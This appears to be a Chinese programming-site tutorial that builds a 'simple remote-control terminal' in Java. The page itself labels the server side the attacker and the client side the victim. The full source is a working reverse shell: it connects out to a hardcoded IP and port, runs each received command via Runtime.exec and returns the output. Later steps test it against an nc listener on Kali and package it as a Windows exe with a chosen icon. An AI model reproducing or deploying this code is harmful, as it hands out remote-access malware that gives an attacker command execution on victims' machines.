我的编程空间,编程开发者的网络收藏夹
学习永远不晚

基于Java制作一个简易的远控终端

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

基于Java制作一个简易的远控终端

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息

2、客户端执行消息内容(即执行服务端传回来的命令)

3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

Java制作简易的远控

1、环境

环境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe

2、新建项目

打开idea,直接新建一个最普通的Java项目即可。

3、新建一个Java类

4、编写程序

(1)导入需要使用到的类包

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

(2)编写main方法

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        
    }
}

(3)建立socket连接

public static void main(String[] args) {
        try {
        	// 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

(4)接收服务端传输的消息(即命令)

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
        	// 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
			// 建立成功后while循环保持连接
			while (true) {
                // inputStream接收服务端传入的字节流数据
                InputStream inputStream = socket.getInputStream();
                // 定义客户端以一个字节大小的方式接收服务端传入的字节流数据
                byte[] bytes = new byte[1];
                // 服务端传入字节流数据转化成字符型数据——命令
                String command = "";

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        // 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);
                        // 将读入的字节流数据转化成16进制数据
                        String hexString = BytesToHexString(bytes);
                        // 将16进制数据转化成字符型数据并赋值给command——命令
                        command += HexStringToString(hexString);

                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            // 去掉服务端传回来命令的空格
                            command = command.trim();
                            // 如果传回来的命令为exit,就直接断开连接
                            if (command.equals("exit")) {
                                return;
                            }
                        }
                    }
                }
            }	
        }
        ...
    }
}

其中需要将接收数据的字节流先转化为16进制数据,再将16进制数据转化为字符型数据,这里分别自定义了两个静态方法:BytesToHexString和HexStringToString。

两个方法的定义如下:

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        ......
    }
	// 将字节流数据转化为16进制数据
    public static String BytesToHexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[bytes.length * 2];

        for (int i = 0; i < bytes.length; i++) {
            int temp = bytes[i] & 0xFF;
            hexChars[i * 2] = hexArray[temp >> 4];
            hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    // 将16进制数据转化为字符型数据
    public static String HexStringToString(String hexString) {
        byte[] array = new byte[hexString.length() / 2];
        try {
            for (int i = 0; i < array.length; i++) {
                array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
            }
            hexString = new String(array, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        }
        return hexString;
}

(5)执行消息内容(即执行服务端传回来的命令)

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                .......
                
                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        ......
                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            ......
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                
                            } catch (Exception e) {
                                e.printStackTrace();
                            } 
                        }

                    }
                }

            }
        }
        ......
    }
}

(6)将执行结果返回给服务端

...
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                .......
                
                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        ......
                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            ......
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                // 将执行命令返回结果的流赋值给输入流results中
                                InputStream results = exec.getInputStream();
                                // 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line = null;
                                // 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                // 进程等待
                                exec.waitFor();
                                // 关闭输入流
                                results.close();
                                // 关闭读入流
                                reader.close();
                                // 销毁进程对象
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                e.printStackTrace();
                            } finally {
                                // 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行
                                command = "";
                            }
                        }

                    }
                }

            }
        }
        ......
    }
}

至此,Java编写远程控制终端完成!

(7)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。

连接成功,远控终端制作完成!

5、将项目打包成jar包并生成exe文件

(1)打成jar包

步骤一

点击文件 --> 点击项目结构。

步骤二

点击工件 --> 点击JAR --> 点击来自具有…。

步骤三

将主类设为main函数所在的Java类 --> 点击确定。

步骤四

点击确定。

步骤五

点击构建 --> 点击构建项目

步骤六

再次点击构建 --> 点击构建工件

步骤七

点击构建即可。

步骤八

这时会在项目out\artifacts\remoteControl_jar目录下,生成了一个Jar文件。直接复制拖出来即可。

至此打包jar包完成。

(2)生成exe文件

使用exe4j(官网下载地址:https://exe4j.apponic.com/ )将jar包生成exe文件。

步骤一

打开exe4j --> next。

步骤二

选择"JAR in EXE"mode --> next

步骤三

填写相关内容 --> next。

步骤四

填写exe文件名字 --> 选择exe图标 --> 设置Advanced Options为32-bit or 64-bit。

步骤五

勾选选项 --> next。

步骤六

next。

步骤七

添加jar包 --> 选择jar包的存放路径 --> 选择jar包main函数所在的主类 --> next。

步骤八

选择jdk兼容最低的版本 --> 勾选"Allow JREs with a beta version number" --> next

步骤九

之后就一直next即可。

exe文件成功生成。

(3)测试exe文件的可用性

kali服务端监听端口。

点击运行生成的exe文件。

点击确定。

连接成功,Java制作远程控制终端完成!

附完整代码

import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

public class RemoteControl {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.6.142", 9999);
            // 建立成功后while循环保持连接
            while (true) {
                // inputStream接收服务端传入的字节流数据
                InputStream inputStream = socket.getInputStream();
                // 定义客户端以一个字节大小的方式接收服务端传入的字节流数据
                byte[] bytes = new byte[1];
                // 服务端传入字节流数据转化成字符型数据——命令
                String command = "";

                while (true) {
                    // 判断服务端传入的字节流数据是否被bytes字节数组接收完
                    if (inputStream.available() > 0) {
                        // 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);
                        // 将读入的字节流数据转化成16进制数据
                        String hexString = BytesToHexString(bytes);
                        // 将16进制数据转化成字符型数据并赋值给command——命令
                        command += HexStringToString(hexString);

                        // 判断服务端传入的字节流数据是否读完,如果读完就执行命令,否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止
                        if (inputStream.available() == 0) {
                            // 去掉服务端传回来命令的空格
                            command = command.trim();
                            // 如果传回来的命令为exit,就直接断开连接
                            if (command.equals("exit")) {
                                return;
                            }
                            // 执行命令并返回结果
                            try {
                                // 执行服务端传回来的命令,将命令的执行过程交给exec进程
                                Process exec = Runtime.getRuntime().exec(command);
                                // 将执行命令返回结果的流赋值给输入流results中
                                InputStream results = exec.getInputStream();
                                // 考虑到执行命令的返回结果可能会有中文字符,所以采用BufferedReader
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 创建数据输出流,并将数据输出流中的数据流给到socket连接的输出流中,以让命令结果返回给服务端
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line = null;
                                // 读取命令执行结果的一行数据,如果数据不为空,则将数据写入到数据输出流中,然后将数据输出流中的数据进行刷新
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                // 进程等待
                                exec.waitFor();
                                // 关闭输入流
                                results.close();
                                // 关闭读入流
                                reader.close();
                                // 销毁进程对象
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                e.printStackTrace();
                            } finally {
                                // 将存放命令的字符串置位空,防止下次执行命令的时候将该次命令也带入执行
                                command = "";
                            }
                        }

                    }
                }

            }
        } catch (IOException e) {
            e.printStackTrace();
        }


    }

    // 将字节流数据转化为16进制数据
    public static String BytesToHexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[bytes.length * 2];

        for (int i = 0; i < bytes.length; i++) {
            int temp = bytes[i] & 0xFF;
            hexChars[i * 2] = hexArray[temp >> 4];
            hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    // 将16进制数据转化为字符型数据
    public static String HexStringToString(String hexString) {
        byte[] array = new byte[hexString.length() / 2];
        try {
            for (int i = 0; i < array.length; i++) {
                array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
            }
            hexString = new String(array, "UTF-8");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
            return "";
        }
        return hexString;
    }
}

以上就是基于Java制作一个简易的远控终端的详细内容,更多关于Java远控终端的资料请关注编程网其它相关文章!

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

基于Java制作一个简易的远控终端

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

基于Java制作一个简易的远控终端

这篇文章主要为大家详细介绍了如何基于Java制作一个简易的远控终端,文中的示例代码讲解详细,具有一定的学习价值,感兴趣的可以了解一下
2023-05-14

使用Python制作一个简易的远控终端

这篇文章主要为大家详细介绍了如何使用Python语言制作一个简易的远控终端,文中的示例代码讲解详细,具有一定的学习价值,感兴趣的可以了解一下
2023-05-14

基于Java编写一个简单的风控组件

这篇文章主要为大家详细介绍了如何基于Java编写一个简单的风控组件,文中的示例代码讲解详细,对我们学习Java有一定的帮助,需要的可以参考一下
2022-12-31

基于Python制作一个简单的文章搜索工具

目录 前言功能实现导入模块创建窗口背景图片搜索文本框 内容显示界面搜索内容效果代码展示内容效果代码点击搜索功能代码访问博客网页 前言今天,我无聊的时候做了一个搜索文章的软件,有没有更加的方便快捷不知道,好玩就行了。基于Python tki
2023-05-12

基于JavaSE+JDBC使用控制台操作的简易购物系统【源码+数据库】

1、项目简介 本项目是一套基于JavaSE+JDBC使用控制台操作的简易购物系统,主要针对计算机相关专业的正在做bishe的学生和需要项目实战练习的Java学习者。 包含:项目源码、数据库脚本等,该项目可以直接作为bishe使用。 项目都经
基于JavaSE+JDBC使用控制台操作的简易购物系统【源码+数据库】
2023-12-23

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录